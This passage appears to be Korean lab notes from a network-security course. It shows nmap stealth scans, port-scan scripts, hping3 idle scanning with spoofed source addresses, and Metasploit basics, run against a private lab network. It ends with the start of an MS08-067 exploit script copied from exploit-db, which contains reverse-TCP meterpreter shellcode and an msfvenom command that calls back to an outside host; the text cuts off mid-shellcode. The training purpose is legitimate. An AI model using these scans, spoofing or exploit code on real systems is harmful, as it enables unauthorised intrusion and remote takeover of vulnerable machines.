</code></pre><blockquote>
<p><strong>실습&gt; TCP NULL Scan(-sN)</strong></p>
</blockquote>
<pre><code>열린 포트 스캔   
A -----------&gt; V3
A -----------&gt; V3
[root@kali ~]# nmap -sN -p 80 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 22:02 EST
Nmap scan report for 200.200.200.6
Host is up (0.00024s latency).

PORT   STATE         SERVICE
80/tcp open|filtered http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
20:10:08.821176 IP 200.200.200.3.48976 &gt; 200.200.200.6.80: Flags [none], win 1024, length 0
20:10:08.930698 IP 200.200.200.3.48978 &gt; 200.200.200.6.80: Flags [none], win 1024, length 0


닫힌 포트 스캔
A -----------&gt; V3
A -----------&gt; V3
[root@kali ~]# nmap -sN -p 1 200.200.200.6
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 22:03 EST
Nmap scan report for 200.200.200.6
Host is up (0.00023s latency).

PORT  STATE         SERVICE
1/tcp open|filtered tcpmux
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds

[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
20:10:50.399720 IP 200.200.200.3.48730 &gt; 200.200.200.6.1: Flags [none], win 1024, length 0
20:10:50.509321 IP 200.200.200.3.48732 &gt; 200.200.200.6.1: Flags [none], win 1024, length 0
</code></pre><blockquote>
<p><strong>실습&gt; 쉘 스크립트를 이용한 포트스캔</strong></p>
</blockquote>
<pre><code>[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes

[root@kali ~]# vi nmap.sh 
#!/bin/sh

victimIP=&quot;200.200.200.6&quot;
port=80

nmap -sT -p $port $victimIP
nmap -sS -p $port $victimIP
nmap -sF -p $port $victimIP
nmap -sX -p $port $victimIP

[root@kali ~]# chmod 755 nmap.sh
[root@kali ~]# ./nmap.sh 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 20:39 EST
Nmap scan report for 200.200.200.6
Host is up (0.00023s latency).

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 20:39 EST
Nmap scan report for 200.200.200.6
Host is up (0.00021s latency).

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 20:39 EST
Nmap scan report for 200.200.200.6
Host is up (0.00094s latency).

PORT   STATE         SERVICE
80/tcp open|filtered http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 20:39 EST
Nmap scan report for 200.200.200.6
Host is up (0.00047s latency).

PORT   STATE         SERVICE
80/tcp open|filtered http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds


-sT -p 80 &gt; -sS -p 80 &gt; -sF -p 80 &gt; -sX -p 80
[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
18:40:31.618114 IP 200.200.200.3.46754 &gt; 200.200.200.6.80: Flags [S], seq 1847757251, win 64240, options [mss 1460,sackOK,TS val 286883803 ecr 0,nop,wscale 7], length 0
18:40:31.618150 IP 200.200.200.6.80 &gt; 200.200.200.3.46754: Flags [S.], seq 2272028085, ack 1847757252, win 28960, options [mss 1460,sackOK,TS val 109957860 ecr 286883803,nop,wscale 7], length 0
18:40:31.618350 IP 200.200.200.3.46754 &gt; 200.200.200.6.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 286883804 ecr 109957860], length 0
18:40:31.618357 IP 200.200.200.3.46754 &gt; 200.200.200.6.80: Flags [R.], seq 1, ack 1, win 502, options [nop,nop,TS val 286883804 ecr 109957860], length 0
18:40:31.826141 IP 200.200.200.3.46148 &gt; 200.200.200.6.80: Flags [S], seq 3900203970, win 1024, options [mss 1460], length 0
18:40:31.826179 IP 200.200.200.6.80 &gt; 200.200.200.3.46148: Flags [S.], seq 2354405363, ack 3900203971, win 29200, options [mss 1460], length 0
18:40:31.826420 IP 200.200.200.3.46148 &gt; 200.200.200.6.80: Flags [R], seq 3900203971, win 0, length 0
18:40:32.086501 IP 200.200.200.3.64343 &gt; 200.200.200.6.80: Flags [F], seq 2635841437, win 1024, length 0
18:40:32.195950 IP 200.200.200.3.64345 &gt; 200.200.200.6.80: Flags [F], seq 2635710367, win 1024, length 0
18:40:32.545829 IP 200.200.200.3.39989 &gt; 200.200.200.6.80: Flags [FPU], seq 2071201281, win 1024, urg 0, length 0
18:40:32.655240 IP 200.200.200.3.39991 &gt; 200.200.200.6.80: Flags [FPU], seq 2071332355, win 1024, urg 0, length 0
</code></pre><blockquote>
<p><strong>실습&gt; 쉘 스크립트로 포트 스캐닝 스크립트 제작하기</strong></p>
</blockquote>
<pre><code>포트 스캐닝 공격을 파일로 저장해서 와이어샤크로 분석한다.
확장자: pcap, pacapng

-w 파일명: 파일명으로 패킷이 저장

1. 소스코드 작성
[root@kali ~]# vi ./nmap.sh 
#!/bin/sh

victimIP=&quot;200.200.200.6&quot;
port=80

scanOption=&quot;-sT -sS -sF -sX -sN&quot;

for option in $scanOption
do
    nmap $option -p $port $victimIP
done

[root@kali ~]# chmod 755 nmap.sh 

2. 패킷 모니터링
[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -w /var/www/html/totalCapture.pcap

3. 포트 스캔 공격
[root@kali ~]# ./nmap.sh 

4. 패킷 저장
[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -w /var/www/html/totalCapture.pcap
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
^C11 packets captured
11 packets received by filter
0 packets dropped by kernel

5. 패킷 다운로드
Host OS에서 캡처된 패킷 파일을 다운로드 한다.
http://200.200.200.6/totcalCapture.pcap

6. 패킷 분석
와이어샤크를 실행해서 패킷을 분석한다.
</code></pre><blockquote>
<p><strong>실습&gt; 파이썬 코드로 포트 스캐닝 스크립트 제작하기</strong></p>
</blockquote>
<pre><code>1. 소스코드 작성
[root@kali ~]# vi nmap.py 
#!/bin/python3

&quot;&quot;&quot;
-sT: TCP Connect Scan
-sS: TCP Stealth Scan
-sF: TCP FIN Scan
-sX: TCP X-MAS Scan
-sN: TCP NULL SCAN
&quot;&quot;&quot;

import os

victimIP=&quot;200.200.200.6&quot;
port=80
scanOption = [&#39;-sT&#39;, &#39;-sS&#39;, &#39;-sF&#39;, &#39;-sX&#39;, &#39;-sN&#39;]

# print(victimIP, port, scanOption)

for option in scanOption:
    scanCommand = f&#39;nmap {option} -p {port} {victimIP}&#39;
    print(f&#39;&gt;&gt;&gt; {scanCommand} &lt;&lt;&lt;&#39;)
    os.system(scanCommand)
    print()
else:
    print(f&#39;{victimIP}: 포트 스캔 종료&#39;)

2. 패킷 모니터링
[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn

3. 포트 스캔 공격
[root@kali ~]# ./nmap.py 

4. 패킷 확인
[root@victim3 ~]# tcpdump -i ens33 port 1 or 80 -nn
</code></pre><blockquote>
<p><strong>실습&gt; idle scanning</strong></p>
</blockquote>
<pre><code>idle scanning은 다른 Victim Host를 이용해서 Victim의 포트번호를 스캔하는 방법이며 방화벽이 있으면 안되는 공격이다.

Victim1: 200.200.200.4
Victim3: 200.200.200.6
Attacker: 200.200.200.3

&gt;&gt;&gt; 네트워크 환경 &lt;&lt;&lt;

- Kali Linux (https://www.kali.org)
  Attacker(공격자): attacker.linuxmaster.net  200.200.200.3
- Victim1, Target1(피해자): WinXP(클라이언트)
  victim1.linuxmaster.net 200.200.200.4
- Victim2, Target2(피해자): Win7(클라이언트)
  victim2.linuxmaster.net 200.200.200.5
- Victim3, Target3(피해자): CentOS 7(서버)
  victim3.linuxmaster.net 200.200.200.6
- Victim4, Target4(피해자): BeeBox (서버)
  victim4.linuxmaster.net 200.200.200.7

   Attacker    Victim1     Victim2     Victim3     Victim4
    Kali        WinXP        Win7      CentOS7     bee-box
   +-----+     +-----+     +-----+     +-----+     +-----+
   |     |     |     |     |     |     |     |     |     |
   |     |     |     |     |     |     |     |     |     |
   +-----+     +-----+     +-----+     +-----+     +-----+
      |           |           |           |           |
------+-----------+-----------+-----------+-----------+-------
     .3          .4          .5          .6          .7

                       200.200.200.0/24



&gt;&gt;&gt; 소스코드 다운로드 참고 &lt;&lt;&lt;
C언어로 작성되어 있으므로 분석하면 좋다.
https://www.kali.org/tools/hping3/ -&gt;  Source Code Repository
# vi /etc/resolv.conf 
nameserver 168.126.63.1

C 소스코드를 받아서 분석한다.
[root@kali ~]# mkdir hping3; cd hping3
[root@kali hping3]# apt -y install libpcap-dev
[root@kali hping3]# ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
[root@kali hping3]# git clone https://salsa.debian.org/debian/hping3.git .
[root@kali hping3]# ./configure
[root@kali hping3]# make  &lt;-- 에러 발생 시 구글에서 찾아서 해결
[root@kali hping3]# cd

hping3 의 옵션
-S : SYN flag 설정
-A : ACK flag 설정
-p : 목적지 포트
-a : 소스 IP 속이기 (spoofing)
-r : id 모니터링
-c : 패킷 카운트

[root@kali ~]# hping3 --help
usage: hping3 host [options]
  -h  --help      show this help
  -v  --version   show version
  -c  --count     packet count
  -i  --interval  wait (uX for X microseconds, for example -i u1000)
      --fast      alias for -i u10000 (10 packets for second)
      --faster    alias for -i u1000 (100 packets for second)
      --flood       sent packets as fast as possible. Don&#39;t show replies.
  -n  --numeric   numeric output
  -q  --quiet     quiet
  -I  --interface interface name (otherwise default routing interface)
  -V  --verbose   verbose mode
  -D  --debug     debugging info
  -z  --bind      bind ctrl+z to ttl           (default to dst port)
  -Z  --unbind    unbind ctrl+z
      --beep      beep for every matching packet received
Mode
  default mode     TCP
  -0  --rawip      RAW IP mode
  -1  --icmp       ICMP mode
  -2  --udp        UDP mode
  -8  --scan       SCAN mode.
                   Example: hping --scan 1-30,70-90 -S www.target.host
  -9  --listen     listen mode
IP
  -a  --spoof      spoof source address
  --rand-dest      random destionation address mode. see the man.
  --rand-source    random source address mode. see the man.
  -t  --ttl        ttl (default 64)
  -N  --id         id (default random)
  -W  --winid      use win* id byte ordering
  -r  --rel        relativize id field          (to estimate host traffic)
  -f  --frag       split packets in more frag.  (may pass weak acl)
  -x  --morefrag   set more fragments flag
  -y  --dontfrag   set don&#39;t fragment flag
  -g  --fragoff    set the fragment offset
  -m  --mtu        set virtual mtu, implies --frag if packet size &gt; mtu
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer
  --lsrr           loose source routing and record route
  --ssrr           strict source routing and record route
  -H  --ipproto    set the IP protocol field, only in RAW IP mode
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help  display help for others icmp options
UDP/TCP
  -s  --baseport   base source port             (default random)
  -p  --destport   [+][+]&lt;port&gt; destination port(default 0) ctrl+z inc/dec
  -k  --keep       keep still source port
  -w  --win        winsize (default 64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you&#39;ll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp-&gt;th_flags as exit code
  --tcp-mss        enable the TCP MSS option with the given value
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime
Common
  -d  --data       data size                    (default is 0)
  -E  --file       data from file
  -e  --sign       add &#39;signature&#39;
  -j  --dump       dump packets in hex
  -J  --print      dump printable characters
  -B  --safe       enable &#39;safe&#39; protocol
  -u  --end        tell you when --file reached EOF and prevent rewind
  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)
  --tr-stop        Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt        Don&#39;t calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
  --apd-send       Send the packet described with APD (see docs/APD.txt)


기본 tcp 통신
포트 지정하지 않으면 목적지 포트가 0번 포트로 통신을 요청한다.
기본 플래그 Null (플래그 설정 안된 상태에서 통신 요청)

1. hping3 테스트
hping3 몸풀기
[root@victim3 ~]# systemctl stop firewalld
[root@victim3 ~]# iptables -F

80번 포트로 들어오는 패킷을 모니터링 한다.
-i ens33: 인터페이스 ens33 
port 80: 80번 포트 
-nn: 숫자 출력, 첫 번째 n: IP주소를 숫자로 변경, 두 번째 n: 포트 번호를 숫자로 변경
[root@victim3 ~]# tcpdump -i ens33 port 80 -nn

-c 10: count 10개 
-S: SYN 
-p 80: 80번 포트
200.200.200.6: Target
[root@kali ~]# hping3 -c 10 -S -p 80 200.200.200.6
HPING 200.200.200.6 (eth0 200.200.200.6): S set, 40 headers + 0 data bytes
len=46 ip=200.200.200.6 ttl=64 DF id=0 sport=80 flags=SA seq=0 win=29200 rtt=3.9 ms
len=46 ip=200.200.200.6 ttl=64 DF id=0 sport=80 flags=SA seq=1 win=29200 rtt=6.9 ms
len=46 ip=200.200.200.6 ttl=64 DF id=0 sport=80 flags=SA seq=2 win=29200 rtt=11.4 ms
len=46 ip=200.200.200.6 ttl=64 DF id=0 sport=80 flags=SA seq=3 win=29200 rtt=6.9 ms
len=46 ip=200.200.200.6 ttl=64 DF id=0 sport=80 flags=SA seq=4 win=29200 rtt=0.9 ms
len=46 ip=200.200.200.6 ttl=64 DF id=0 sport=80 flags=SA seq=5 win=29200 rtt=4.0 ms
len=46 ip=200.200.200.6 ttl=64 DF id=0 sport=80 flags=SA seq=6 win=29200 rtt=7.2 ms
len=46 ip=200.200.200.6 ttl=64 DF id=0 sport=80 flags=SA seq=7 win=29200 rtt=3.0 ms
len=46 ip=200.200.200.6 ttl=64 DF id=0 sport=80 flags=SA seq=8 win=29200 rtt=5.2 ms
len=46 ip=200.200.200.6 ttl=64 DF id=0 sport=80 flags=SA seq=9 win=29200 rtt=12.0 ms

--- 200.200.200.6 hping statistic ---
10 packets transmitted, 10 packets received, 0% packet loss
round-trip min/avg/max = 0.9/6.1/12.0 ms

2. IDLE 스캔

첫 번째: ID 모니터링
-r: IDLE 

-r 옵션을 이용하면 NULL 스캔처럼 Flags 를 설정하지 않고 패킷을 전송한다.
[root@kali hping3]# hping3 -r 200.200.200.6
[root@victim3 ~]# tcpdump -i ens33 not port 22 -nn 
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
22:39:23.987507 IP 200.200.200.3.2990 &gt; 200.200.200.6.0: Flags [none], win 512, length 0
22:39:23.987545 IP 200.200.200.6.0 &gt; 200.200.200.3.2990: Flags [R.], seq 0, ack 1912185696, win 0, length 0
22:39:25.071691 IP 200.200.200.3.2991 &gt; 200.200.200.6.0: Flags [none], win 512, length 0
22:39:25.071783 IP 200.200.200.6.0 &gt; 200.200.200.3.2991: Flags [R.], seq 0, ack 1165739149, win 0, length 0
22:39:26.155844 IP 200.200.200.3.2992 &gt; 200.200.200.6.0: Flags [none], win 512, length 0
22:39:26.155889 IP 200.200.200.6.0 &gt; 200.200.200.3.2992: Flags [R.], seq 0, ack 255718478, win 0, length 0
^C

Windows XP의 방화벽을 Off로 끈다.
cmd &gt; firewall.cpl &gt; 사용 안함

[root@kali ~]# hping3 -r 200.200.200.4
HPING 200.200.200.4 (eth0 200.200.200.4): NO FLAGS are set, 40 headers + 0 data bytes
len=46 ip=200.200.200.4 ttl=128 id=949 sport=0 flags=RA seq=0 win=0 rtt=2.9 ms
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=1 win=0 rtt=2.4 ms
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=2 win=0 rtt=6.8 ms
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=3 win=0 rtt=5.8 ms
 :
 :(생략)


두 번째: 변조된 패킷 전송(열린 포트 80번으로 전송)
hping3 의 옵션
-S : SYN flag 설정
-A : ACK flag 설정
-p : 도착지 포트
-a : 소스 IP 속이기(Spoofing)
-r : id 모니터링 
-c : 패킷 카운트

[root@victim3 ~]# systemctl start httpd

[root@kali ~]# hping3 -p 80 -S -c 1 -a 200.200.200.4 200.200.200.6



RST가 victim3에서 전송한 후 다음 번호로 출력해서 +2가 표시된다.
[root@kali ~]# hping3 -r 200.200.200.4
  :
  :(생략)
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=553 win=0 rtt=7.5 ms
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=554 win=0 rtt=2.9 ms
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=555 win=0 rtt=1.9 ms
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=556 win=0 rtt=5.0 ms
len=46 ip=200.200.200.4 ttl=128 id=+2 sport=0 flags=RA seq=612 win=0 rtt=3.3 ms  &lt;-- +2 
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=613 win=0 rtt=11.1 ms

nmap 으로 80번 포트가 열려 있는지 확인한다.
[root@kali ~]# nmap -sT -p 80 200.200.200.6
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-04 20:54 EDT
Nmap scan report for 200.200.200.6
Host is up (0.00037s latency).

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds

세 번째: 변조된 패킷 전송(열린 포트 8000번으로 전송)
[root@kali ~]# nmap -sT -p 8000 200.200.200.6
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-04 21:08 EDT
Nmap scan report for 200.200.200.6
Host is up (0.00052s latency).

PORT     STATE  SERVICE
8000/tcp closed http-alt
MAC Address: 00:0C:29:3D:BF:69 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds

[root@kali ~]# hping3 -p 8000 -S -c 10 -a 200.200.200.4 200.200.200.6
HPING 200.200.200.6 (eth0 200.200.200.6): S set, 40 headers + 0 data bytes

--- 200.200.200.6 hping statistic ---
10 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

victim3에서 +1이 표시된다는 말은 포트가 닫혀 있다는걸 의미한다.
[root@kali ~]# hping3 -r 200.200.200.4
  :
  :(생략)
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=1352 win=0 rtt=4.8 ms
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=1353 win=0 rtt=3.8 ms
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=1354 win=0 rtt=3.5 ms
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=1355 win=0 rtt=10.5 ms
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=1356 win=0 rtt=9.2 ms
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=1357 win=0 rtt=8.7 ms
len=46 ip=200.200.200.4 ttl=128 id=+1 sport=0 flags=RA seq=1358 win=0 rtt=8.2 ms

네 번째: 와이어샤크 분석
victim1에서 와이어샤크를 이용해서 패킷을 덤프 받아서 분석한다.
패킷을 볼 때 많이 나오므로 filter 부분에 ip.host == 200.200.200.4 로 설정하고 확인한다.
IP헤더에 identification에서 id값을 확인한다.




##############
## metasploit 
##############

[root@kali ~]# msfconsole 


               .;lxO0KXXXK0Oxl:.
           ,o0WMMMMMMMMMMMMMMMMMMKd,
        &#39;xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
    .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
   lWMMMMMMMMMMMXd:..     ..;dKMMMMMMMMMMMMo
  xMMMMMMMMMMWd.               .oNMMMMMMMMMMk
 oMMMMMMMMMMx.                    dMMMMMMMMMMx
.WMMMMMMMMM:                       :MMMMMMMMMM,
xMMMMMMMMMo                         lMMMMMMMMMO
NMMMMMMMMW                    ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX                     ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW.                      ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd                        ,0MMMMMMMMMMK;
.WMMMMMMMMMc                         &#39;OMMMMMM0,
 lMMMMMMMMMMk.                         .kMMO&#39;
  dMMMMMMMMMMWd&#39;                         ..
   cWMMMMMMMMMMMNxc&#39;.                ##########
    .0MMMMMMMMMMMMMMMMWc            #+#    #+#
      ;0MMMMMMMMMMMMMMMo.          +:+
        .dNMMMMMMMMMMMMo          +#++:++#+
           &#39;oOWMMMMMMMMo                +:+
               .,cdkO0K;        :+:    :+:                                
                                :::::::+:
                      Metasploit

       =[ metasploit v6.2.9-dev                           ]
+ -- --=[ 2230 exploits - 1177 auxiliary - 398 post       ]
+ -- --=[ 867 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: View advanced module options with 
advanced

msf6 &gt; quit

[root@kali ~]# msfconsole --help
Usage: msfconsole [options]

Common options:
    -E, --environment ENVIRONMENT    Set Rails environment, defaults to RAIL_ENV environment variable or &#39;production&#39;

Database options:
    -M, --migration-path DIRECTORY   Specify a directory containing additional DB migrations
    -n, --no-database                Disable database support
    -y, --yaml PATH                  Specify a YAML file containing database settings

Framework options:
    -c FILE                          Load the specified configuration file
    -v, -V, --version                Show version

Module options:
        --defer-module-loads         Defer module loading unless explicitly asked
    -m, --module-path DIRECTORY      Load an additional module path

Console options:
    -a, --ask                        Ask before exiting Metasploit or accept &#39;exit -y&#39;
    -H, --history-file FILE          Save command history to the specified file
    -l, --logger STRING              Specify a logger to use (TimestampColorlessFlatfile, Flatfile, StdoutWithoutTimestamps, Stdout, Stderr)
        --[no-]readline
    -L, --real-readline              Use the system Readline library instead of RbReadline
    -o, --output FILE                Output to the specified file
    -p, --plugin PLUGIN              Load a plugin on startup
    -q, --quiet                      Do not print the banner on startup
    -r, --resource FILE              Execute the specified resource file (- for stdin)
    -x, --execute-command COMMAND    Execute the specified console commands (use ; for multiples)
    -h, --help                       Show this message


[root@kali ~]# msfconsole

       =[ metasploit v6.2.26-dev                          ]
+ -- --=[ 2264 exploits - 1189 auxiliary - 404 post       ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Enable HTTP request and response logging 
with set HttpTrace true
Metasploit Documentation: https://docs.metasploit.com/


msf6 &gt; help
msf6 &gt; show exploits
msf6 &gt; show payloads
msf6 &gt; help search
msf6 &gt; help info

메타스플로잇 가격
http://www.softwarecatalog.co.kr/src/Item/Itemmaster.aspx?Serial=8004

북한 사이버 공격의 단골 루트, PMS 취약점 도대체 뭐길래?
https://www.boannews.com/media/view.asp?idx=57389

기업 보안의 핵심은 ‘패치 관리’, 왜?
https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?menu_dist=2&amp;seq=24718

MS 업데이트
- 정기적인 업데이트 (매달 둘 째주 화요일(수요일))
- 비정기적인 업데이트 (긴급 업데이트, 취약점이 나오면 바로 나온다.)

구글: 윈도우 업데이트 부팅 불가 검색
</code></pre><blockquote>
<p><strong>실습&gt; MS08-067</strong></p>
</blockquote>
<pre><code>Microsoft 보안 공지 MS08-067 - 긴급

CVE-2008-4250

참고: 
https://docs.microsoft.com/ko-kr/security-updates/SecurityBulletins/2008/MS08-067
https://support.microsoft.com/ko-kr/topic/ms08-067-서버-서비스의-취약성으로-인한-원격-코드-실행-문제-ac7878fc-be69-7143-472d-2507a179cd15


CVE
https://nordvpn.com/ko/blog/cve-explained/

CVE란 ?
https://www.boannews.com/media/view.asp?idx=47656

https://www.exploit-db.com/exploits/40279


[root@kali ~]# vi MS08-067.py
&quot;&quot;&quot;
파일명: MS08-067.py
프로그램 설명: MS08-067 취약점 Exploit 코드
python 2 에서 실행한다.
참고: https://www.exploit-db.com/exploits/40279
&quot;&quot;&quot;

import struct
import time
import sys

from threading import Thread    #Thread is imported incase you would like to modify
try:
    from impacket import smb
    from impacket import uuid
    from impacket import dcerpc
    from impacket.dcerpc.v5 import transport

except ImportError, _:
    print &#39;Install the following library to make this script work&#39;
    print &#39;Impacket : http://oss.coresecurity.com/projects/impacket.html&#39;
    print &#39;PyCrypto : http://www.amk.ca/python/code/crypto.html&#39;
    sys.exit(1)

print &#39;#######################################################################&#39;
print &#39;#   MS08-067 Exploit&#39;
print &#39;#   This is a modified verion of Debasis Mohanty\&#39;s code (https://www.exploit-db.com/exploits/7132/).&#39;
print &#39;#   The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi&#39;
print &#39;#######################################################################\n&#39;

#Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40;
#Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes (nopsleps are not included)
#EXITFUNC=thread Important!
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443  EXITFUNC=thread -b &quot;\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40&quot; -f python
shellcode=&quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&quot;
shellcode=&quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&quot;
shellcode+=&quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&quot;
shellcode += &quot;\x2b\xc9\x83\xe9\xa7\xe8\xff\xff\xff\xff\xc0\x5e\x81&quot;
shellcode += &quot;\x76\x0e\xb7\xdd\x9e\xe0\x83\xee\xfc\xe2\xf4\x4b\x35&quot;
shellcode += &quot;\x1c\xe0\xb7\xdd\xfe\x69\x52\xec\x5e\x84\x3c\x8d\xae&quot;
shellcode += &quot;\x6b\xe5\xd1\x15\xb2\xa3\x56\xec\xc8\xb8\x6a\xd4\xc6&quot;
shellcode += &quot;\x86\x22\x32\xdc\xd6\xa1\x9c\xcc\x97\x1c\x51\xed\xb6&quot;
shellcode += &quot;\x1a\x7c\x12\xe5\x8a\x15\xb2\xa7\x56\xd4\xdc\x3c\x91&quot;
shellcode += &quot;\x8f\x98\x54\x95\x9f\x31\xe6\x56\xc7\xc0\xb6\x0e\x15&quot;
shellcode += &quot;\xa9\xaf\x3e\xa4\xa9\x3c\xe9\x15\xe1\x61\xec\x61\x4c&quot;
shellcode += &quot;\x76\x12\x93\xe1\x70\xe5\x7e\x95\x41\xde\xe3\x18\x8c&quot;
shellcode += &quot;\xa0\xba\x95\x53\x85\x15\xb8\x93\xdc\x4d\x86\x3c\xd1&quot;
shellcode += &quot;\xd5\x6b\xef\xc1\x9f\x33\x3c\xd9\x15\xe1\x67\x54\xda&quot;
shellcode += &quot;\xc4\x93\x86\xc5\x81\xee\x87\xcf\x1f\x57\x82\xc1\xba&quot;
shellcode += &quot;\x3c\xcf\x75\x6d\xea\xb5\xad\xd2\xb7\xdd\xf6\x97\xc4&quot;
shellcode += &quot;\xef\xc1\xb4\xdf\x91\xe9\xc6\xb0\x22\x4b\x58\x27\xdc&quot;
shellcode += &quot;\x9e\xe0\x9e\x19\xca\xb0\xdf\xf4\x1e\x8b\xb7\x22\x4b&quot;
shellcode += &quot;\x8a\xb2\xb5\x5e\x48\xa9\x90\xf6\xe2\xb7\xdc\x25\x69&quot;
shellcode += &quot;\x51\x8d\xce\xb0\xe7\x9d\xce\xa0\xe7\xb5\x74\xef\x68&quot;
shellcode += &quot;\x3d\x61\x35\x20\xb7\x8e\xb6\xe0\xb5\x07\x45\xc3\xbc&quot;
shellcode += &quot;\x61\x35\x32\x1d\xea\xea\x48\x93\x96\x95\x5b\x35\xff&quot;
shellcode += &quot;\xe0\xb7\xdd\xf4\xe0\xdd\xd9\xc8\xb7\xdf\xdf\x47\x28&quot;
shellcode += &quot;\xe8\x22\x4b\x63\x4f\xdd\xe0\xd6\x3c\xeb\xf4\xa0\xdf&quot;
